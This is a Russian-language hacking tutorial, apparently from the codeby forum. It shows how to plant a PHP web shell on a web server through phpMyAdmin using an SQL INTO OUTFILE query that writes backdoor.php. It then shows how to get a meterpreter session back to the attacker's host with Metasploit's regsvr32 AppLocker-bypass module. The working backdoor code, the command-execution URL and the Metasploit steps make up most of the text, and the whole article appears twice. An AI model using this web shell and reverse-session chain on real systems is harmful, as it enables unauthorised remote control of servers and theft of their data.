Приветствую! В этой статье рассмотрим способ загрузки shell на целевой веб-сервер, при условии, что у нас есть доступ к phpmyadmin панели. В качестве платформы для тестов, возьмем XAMPP.
Для начала необходимо будет сгенерировать SQL запрос для выполнения вредоносного кода, а затем приложить некоторые усилия, чтобы получить полноценный доступ к удаленному хосту.
Итак, работать для начала, будем с PhpMyAdmin – это веб-приложение с открытым кодом, написанное на языке PHP и представляющее собой веб-интерфейс для администрирования СУБД MySQL. PHPMyAdmin позволяет через браузер осуществлять администрирование сервера MySQL, запускать команды SQL и просматривать содержимое таблиц и баз данных. Подробнее здесь: https://www.phpmyadmin.net
Заходим в панель управления phpmyadmin и создаем новую базу данных:
Затем, выбрав эту базу данных, идем в поле SQL, вписываем туда представленный ниже SQL запрос и выполняем его.
Теперь, попробуем обратиться к серверу по адресу 127.0.0.1/backdoor.php, если вы видите такой вывод, то уязвимость успешно создана:
Так же, это значит, что через строку браузера, мы можем передавать команды в cmd скомпрометированного хоста.
Осталось получить активную сессию meterpreter на своем хосте, для полного контроля над целевым.
Запускаем Msfconsole и используем следующий эксплоит:
Выделенный текст, следует вписать как команду в адресную строку браузера, после cmd=
Как результат, получаем активную сессию meterpreter:
На этом все. Спасибо за внимание.
(c) Vander
источник: codeby
Для начала необходимо будет сгенерировать SQL запрос для выполнения вредоносного кода, а затем приложить некоторые усилия, чтобы получить полноценный доступ к удаленному хосту.
Итак, работать для начала, будем с PhpMyAdmin – это веб-приложение с открытым кодом, написанное на языке PHP и представляющее собой веб-интерфейс для администрирования СУБД MySQL. PHPMyAdmin позволяет через браузер осуществлять администрирование сервера MySQL, запускать команды SQL и просматривать содержимое таблиц и баз данных. Подробнее здесь: https://www.phpmyadmin.net
Заходим в панель управления phpmyadmin и создаем новую базу данных:
Затем, выбрав эту базу данных, идем в поле SQL, вписываем туда представленный ниже SQL запрос и выполняем его.
Код:
SELECT “<?php system($_GET[‘cmd’]); ?>” into outfile “C:\\xampp\\htdocs\\backdoor.php”Теперь, попробуем обратиться к серверу по адресу 127.0.0.1/backdoor.php, если вы видите такой вывод, то уязвимость успешно создана:
Так же, это значит, что через строку браузера, мы можем передавать команды в cmd скомпрометированного хоста.
Код:
127.0.0.1/backdoor.php?cmd=systeminfoОсталось получить активную сессию meterpreter на своем хосте, для полного контроля над целевым.
Запускаем Msfconsole и используем следующий эксплоит:
Код:
use exploit/windows/misc/regsvr32_applocker_bypass_server
Код:
set lhost 172.16.0.192
Код:
set lport 4444
Код:
exploitВыделенный текст, следует вписать как команду в адресную строку браузера, после cmd=
Код:
127.0.0.1/backdoor.php?cmd=выделенный текстКак результат, получаем активную сессию meterpreter:
На этом все. Спасибо за внимание.
(c) Vander
источник: codeby
